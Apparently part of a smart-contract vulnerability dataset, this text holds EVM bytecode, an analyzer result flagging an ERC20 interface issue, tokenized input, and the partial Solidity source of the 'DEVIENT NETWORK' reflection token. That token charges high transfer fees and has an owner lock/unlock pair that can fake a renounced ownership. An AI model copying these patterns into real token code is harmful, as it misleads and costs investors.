1098b57600080fd5b5b81600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610a21848484610d7b565b600190509392505050565b600360009054906101000a900460ff1681565b60086020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b125780601f10610ae757610100808354040283529160200191610b12565b820191906000526020600020905b815481529060010190602001808311610af557829003601f168201915b505050505081565b6301e1338060075401421015610be257600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610bd65750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b1515610be157600080fd5b5b62ed4e0060075401421015610ca957600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610c9d5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b1515610ca857600080fd5b5b610cb4338383610d7b565b5050565b6009602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3857600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610da157600080fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610def57600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610e7d57600080fd5b610ec6600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610fff565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f52600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611018565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082821115151561100d57fe5b818303905092915050565b60008082840190508381101580156110305750828110155b151561103857fe5b80915050929150505600a165627a7a7230582073084e5d1655e4a3cec05d7b923e57c05fc3e055b5852fb08618380146ac48630029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 4402, 2683, 2497, 22907, 2546, 2620, 19317, 2094, 2581, 2487, 6679, 2683, 27421, 2546, 2692, 2575, 2581, 2581, 2509, 2050, 2620, 2581, 2620, 2497, 23632, 14142, 2620, 2278, 23499, 2575, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 12274, 2140, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 21318, 3372, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 3647, 6342, 2497, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 20865, 1006, 1038, 1026, 1027, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,524
0x96eea0a1e3a0ae1def95fe32d2355e527b751edc
pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /**_transfer * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 0 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract DEVIENTNETWORK is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "DEVIENT NETWORK"; string private _symbol = "DVE"; uint8 private _decimals = 18; uint256 public _taxFee = 0; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 2; uint256 private _previousLiquidityFee = _liquidityFee; uint public _teamFee = 2; address public teamWallet = 0xDB834D2a0B598bEB73608EB1486E3EE82428DeB6; uint public _developmentFee = 18; address public developmentW = 0xA87f0ED9be86F01E84f00fc0509a77B7Ff2f689E; uint256 public _marketingFee = 2; address public marketingWallet = 0xC647b2FE1E7b5dc5d1Fc2FEc2FB8542A0693d9AD; uint256 private _previousmarketingFee = _marketingFee; uint256 private _previousteamFee = _teamFee; uint256 private _previousdevelopmentWFee = _developmentFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; uint256 public _maxTxAmount = 1000000000 * 10**18; uint256 private numTokensSellToAddToLiquidity = 500000 * 10**18; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(account != 0x10ED43C718714eb63d5aA57B78B54704E256024E, 'We can not exclude Pancake router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { _taxFee = 0; _liquidityFee = 0; _teamFee = 0; _marketingFee = 0; _developmentFee=0; } function restoreAllFee() private { _taxFee = 0; _liquidityFee = 2; _teamFee = 2; _marketingFee = 2; _developmentFee = 18; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //transfer 